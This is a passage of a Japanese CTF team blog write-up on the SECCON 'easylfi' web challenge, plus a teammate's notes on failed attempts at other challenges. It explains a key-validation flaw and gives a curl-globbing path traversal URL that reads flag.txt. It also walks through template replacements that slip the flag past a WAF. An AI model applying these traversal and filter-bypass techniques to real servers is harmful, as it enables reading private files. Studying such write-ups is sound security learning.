def validate(key: str) -> bool: # E.g. key == "{name}" -> True # key == "name" -> False if len(key) == 0: return False is_valid = True for i, c in enumerate(key): if i == 0: is_valid &= c == "{" elif i == len(key) - 1: is_valid &= c == "}" else: is_valid &= c != "{" and c != "}" return is_valid def template(text: str, params: dict[str, str]) -> str: # A very simple template engine for key, value in params.items(): if not validate(key): return f"Invalid key: {key}" text = text.replace(key, value) return text
このアプリケーションでは、外部のテンプレートエンジンを使用せず自前の実装となっています。validate
のコメントにある通り、{name}
のように波括弧で囲まれているところをクエリパラメータの値で置換してくれます。この場合だと?name=hoge
としてあげれば{name}
はhoge
に置換されます。ここで、この機能を使ってflag.txt
に含まれるSECCON
をどうにか違う文字列に置換できないかと考えます。
しかし、どう頑張ってもflag.txt
内に存在するSECCON{...}
という文字列だけではどうしようもありません。そこで、curl の展開でflag.txt
を含めた2つのファイルを読み取ることで、1つめのファイル内容 + SECCON{...}
となるレスポンスを生成し、SECCON
を置換し得る状態を作り出せないかというアイデアを思いつきました。1 つめのファイルは波括弧が含まれてほしいので、hello.html
を対象としました。
<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>easylfi</title> </head> <body> <h1>Hello, {name}!</h1> </body> </html>
hello.html
とflag.txt
を curl による展開を利用して取得するためには以下の URL を用意します。(※わかりやすさのためにパーセントエンコーディングしていません)
http://easylfi.seccon.games:3000/{.}./{.}./{app/public/hello.html,flag.txt}
さて、これで得られる waf を通る前のレスポンスとしては以下のようになります。
--_curl_--file:///app/public/../../app/public/hello.html <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>easylfi</title> </head> <body> <h1>Hello, {name}!</h1> </body> </html> --_curl_--file:///app/public/../../flag.txt SECCON{dummydummy}
どうやってSECCON
を置換しようかというところですが、ここが一番悩みどころでした。どう頑張っても SECCON は{}
で囲まれていないので置換処理の対象となり得ない。そう悩んでいるときに我が部長による進言がもたされました。
部長「{
1文字ならなんにでも置換できる」
そうなんです。テンプレートに用いられる key のバリデーションを再掲します。
def validate(key: str) -> bool: # E.g. key == "{name}" -> True # key == "name" -> False if len(key) == 0: return False is_valid = True for i, c in enumerate(key): if i == 0: is_valid &= c == "{" elif i == len(key) - 1: is_valid &= c == "}" else: is_valid &= c != "{" and c != "}" return is_valid
この処理ですが、よくよくロジックを確認してみると確かに{
1文字の場合、なんにでも置換できるのです。そこでSECCON
を{}
で囲うために、まず{
を}{
で置換します。すると結果は以下の通り。
--_curl_--file:///app/public/../../app/public/hello.html <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>easylfi</title> </head> <body> <h1>Hello, }{name}!</h1> </body> </html> --_curl_--file:///app/public/../../flag.txt SECCON}{dummydummy}
これでSECCON
を閉じるための波括弧が用意できました。ところで、なぜ閉じ括弧を用意するために{
を}
ではなく}{
に置換したのかというと、次に行う開き括弧生成のためです。仮に{
を}
にしてしまった場合は以下のようになります。
--_curl_--file:///app/public/../../app/public/hello.html <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>easylfi</title> </head> <body> <h1>Hello, }name}!</h1> </body> </html> --_curl_--file:///app/public/../../flag.txt SECCON}dummydummy}
こうなってしまうと、SECCON
以前の部分において開き括弧を生成することはできません。}{
で置換した場合はSECCON
以前の部分において{name}
が存在するので、最後にこれを{
に置換してあげると...
--_curl_--file:///app/public/../../app/public/hello.html <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>easylfi</title> </head> <body> <h1>Hello, }{!</h1> </body> </html> --_curl_--file:///app/public/../../flag.txt SECCON}{dummydummy}
このようになります。これにて無事SECCON
を{}
で囲うことができましたので、最後に{!<...略...SECCON}
を適当な文字列に置換してあげれば終了です。この一連の手順を行うことができる URL は以下になります。
フラグ GET です。
ikuro_nishizuka
奮闘記
まず挑戦したのが
find flag
環境変数にフラグが入っているということで、なんとか環境変数をファイルとして呼び出せないかと考えました。
/proc/self/environ を部分的に取得できる方法や、それ以外に環境変数を取得できる方法がないかと。。。
分からず、次は Docker の起動方法を確認。
Dockerfile の下記記述で、あまり使わない /dev/shm が怪しいのではないかと。
RUN chmod 1777 /tmp /var/tmp /dev/shm
ここに何が書き込まれるのか、などなどを調べていたが、環境によってファイルがあったりなかったりで、あまり掴み切れず。
気分転換に別の問題にスイッチ。
noiseccon
ちょっと見てみたけど、これは手に負えないと早々にスイッチ
piyosay
色々とパラメータを触りながら、色々と試しましたよ。 もう、記録を残せていないので、どれくらい近くまで行ったのかは示せませんが、、
後に解説動画を見て、なるほど。分からん。 気付けん(泣
まとめ
ということで、惨敗の結果でした。
もっと鍛錬して、そしてもっと集中して時間を確保して取り組まないと、歯が立たないということを毎回実感して、今日も漫然と土日を過ごすのでした。